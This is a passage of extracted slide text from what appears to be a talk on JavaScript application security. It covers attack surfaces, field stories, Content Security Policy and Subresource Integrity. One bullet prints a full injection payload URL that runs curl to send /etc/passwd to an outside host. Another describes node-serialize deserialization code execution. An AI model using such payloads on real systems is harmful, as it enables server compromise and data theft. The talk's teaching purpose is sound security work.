target when attacking JS apps? • Publicly disclosed security weaknesses in frameworks/libraries/apps • Client side security weaknesses • Server side security weaknesses • Stories from the field • Impact of exploitation – Demos ☺ • A brief overview of Content Security Policy • Using Subresource Integrity • Additional Security Headers
• Previously discovered security issues, bypasses, feature abuses • Sources (eg: <input>) and Sinks (eg: .innerHTML) for user supplied data • Error messages and stack traces / Console logging • Client side dynamic and hardcoded variables/tokens/secrets/keys • Communication channels like websockets, webRTC etc.
string to bypass filters • Parsed by the qs module • Final payload https://_demo.paypal.com/demo/navigation?device=x&device=y'- require('child_process').exec('curl+- F+"x=`cat+/etc/passwd`"+artsploit.com')-'
to Pug now) is a templating engine for Node • This is not a vulnerability in itself but an example of how templating can lead to code execution if user input is not properly sanitized • The example is using CodePen.io • No vulnerability in CodePen or Jade itself • Example of feature abuse based on the context and implementation
review by Ajin, a fellow security community researcher • User’s cookie was sent to the unserialize() function of the node- serialize module. Internally uses eval() for deserialization • Passing untrusted client sent data to unserialize can result in code execution on the server - CVE-2017-5941
financial sector • Using a React app to deliver UI. JSON authenticated endpoints populated the data • The password was encrypted using a static key before being sent to the server and presumably decrypted on the server for verification • The key and IV was stored in plaintext in a convoluted mass of client side JS
same crypto components on multiple sites • Leaking the key and IV would allow decryption on the client side possible • A data breach leaking encrypted credentials would massively hurt the client more so because it would be possible to decrypt the credentials
in the financial sector • Resource heavy JS framework • Had the X-Frame-Options header set to prevent ClickJacking attacks • However, Burpsuite kept complaining that the site was vulnerable • Investigation revealed a typo in the header
in the automobile industry • Blog had functionality to load pages from the webroot directory • Site was loading pages via XHR requests http://example.com/#register • Cross site requests were being prevented using a regex check
security feature that enables browsers to verify that files they fetch (for example, from a CDN) are delivered without unexpected manipulation. • It works by allowing you to provide a cryptographic hash that a fetched file must match. • Why?
Project • OWASP ASVS • OWASP Top 10 • OWASP Testers Guide • Security documentation for the framework/library that is being used • Think like a potential attacker • Attack surface? • What are the assumptions in the system?
framework/libraries • Previously discovered security issues, bypasses, feature abuses • Sources and Sinks for user supplied data • Endpoints discoverable through JS code • Error messages and stack traces • Console logging • Client side dynamic and hardcoded variables/tokens/secrets/keys • Browser Storage mechanisms • Cross origin communication using postMessage, widgets, CORS • External sources of js/css/images/fonts • Communication protocols like websockets, webRTC etc.